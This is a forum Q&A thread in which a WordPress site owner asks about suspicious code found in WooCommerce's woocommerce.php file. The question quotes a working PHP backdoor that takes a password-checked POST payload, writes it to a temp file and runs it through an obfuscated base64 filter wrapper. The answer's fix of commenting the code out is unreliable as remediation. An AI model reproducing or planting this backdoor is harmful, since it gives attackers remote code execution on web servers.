Strange code being added to woocommerce.php file

Question

I have found this strange code within the core woocommerce.php file.

Does anyone understand what this code is trying to do? I suspect it is malware as it is not part of the core WooCommerce code.

I am trying to understand if it is being added by a plugin and is legitimate or if it is some form of virus/malware etc.

if (isset($_POST["_aey8iousjrkdf"],$_POST['WP_6cdd22']) && sha1($_POST['WP_6cdd22']) == "6cdd22ad6267ba73cd92bf8abd7ec2058740fa80") { $_oxyu = tempnam(sys_get_temp_dir(),"rlgalfarg"); file_put_contents($_oxyu,$_POST["_aey8iousjrkdf"]); require_once "php".":"."//filt"."e"."r/c"."onvert."."ba"."s"."e"."64-"."d"."e"."code/co"."n"."v"."er"."t.b"."a"."s"."e64-de"."co"."de/"."resou"."rce"."=".$_oxyu; unlink($_oxyu); die(); } 

Answer 1

Had same problemm with this woocommerce.php. After removing code it just returning straight back. After researching and playing around I think I've found the way. I have added /* just before "if" and all code turned into just a comment. Now second day and nothing new returning to the place. Of course this is not the best way to do it and I'm not sure if it will stay as a comment but so far seems to be ok. If somebody can find full removal way please share with us here.